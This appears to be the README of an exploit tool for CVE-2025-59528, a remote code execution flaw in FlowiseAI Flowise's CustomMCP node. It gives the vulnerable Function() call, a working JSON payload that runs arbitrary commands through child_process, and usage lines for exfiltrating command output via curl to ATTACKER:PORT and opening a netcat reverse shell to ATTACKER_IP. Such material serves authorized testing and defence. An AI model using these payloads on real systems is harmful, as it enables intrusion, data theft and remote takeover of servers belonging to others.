
CVE-2025-59528 - FlowiseAI CustomMCP Remote Code Execution
CVSS 10.0 (Critical) | Blind RCE | FlowiseAI Flowise >= 2.2.7-patch.1 and < 3.0.6
A critical remote code execution vulnerability in the CustomMCP node of FlowiseAI Flowise. The convertToValidJSONString function passes user-supplied input from the mcpServerConfig parameter directly to JavaScript's Function() constructor functionally equivalent to eval() allowing execution of arbitrary JavaScript code with full Node.js runtime privileges.
Function() with JSON5.parse())In packages/components/nodes/tools/MCP/CustomMCP/CustomMCP.ts, lines 262–270:
function convertToValidJSONString(inputString) {
return Function('return ' + inputString)(); // ← arbitrary code execution
}
The taint flow:
HTTP POST → /api/v1/node-load-method/customMCP
→ controller.getSingleNodeAsyncOptions()
→ service layer
→ CustomMCP.listActions()
→ convertToValidJSONString(mcpServerConfig) // Function('return ' + userInput)()
This is a blind RCE command output is not reflected in the HTTP response. Use callback techniques (curl/wget) or a reverse shell to confirm execution.
| Condition | Details |
|---|---|
| Flowise version | >= 2.2.7-patch.1, < 3.0.6 |
| Network access | API endpoint on port 3000 (default) |
| Authentication | Optional for < 3.0.1, required for >= 3.0.1 |
{
"loadMethod": "listActions",
"inputs": {
"mcpServerConfig": "{x:(function(){const cp=process.mainModule.require('child_process');cp.exec('COMMAND',()=>{});return 1;})()}"
}
}
pip install requests
python3 exploit.py -t http://target:3000 --mode check --email [email protected] --password pass
# Exfiltrate output via callback
python3 exploit.py -t http://target:3000 --mode exec \
-c "curl http://ATTACKER:PORT/\$(id | base64)" \
--email [email protected] --password pass
# Start listener
nc -lvnp 4444
# Fire exploit (auto-tries bash, nc, python)
python3 exploit.py -t http://target:3000 --mode revshell \
--lhost ATTACKER_IP --lport 4444 \
--email [email protected] --password pass
# JWT auth (Flowise >= 3.0.1)
--email [email protected] --password pass
# Basic auth (Flowise < 3.0.1 with FLOWISE_USERNAME env)
--username admin --password pass
# Raw cookie string (fallback)
--cookie "token=eyJ...;refreshToken=eyJ...;connect.sid=s%3A..."
/api/v1/node-load-method/customMCPThis tool is provided for authorized security testing and educational purposes only. Unauthorized access to computer systems is illegal. Always obtain proper authorization before testing.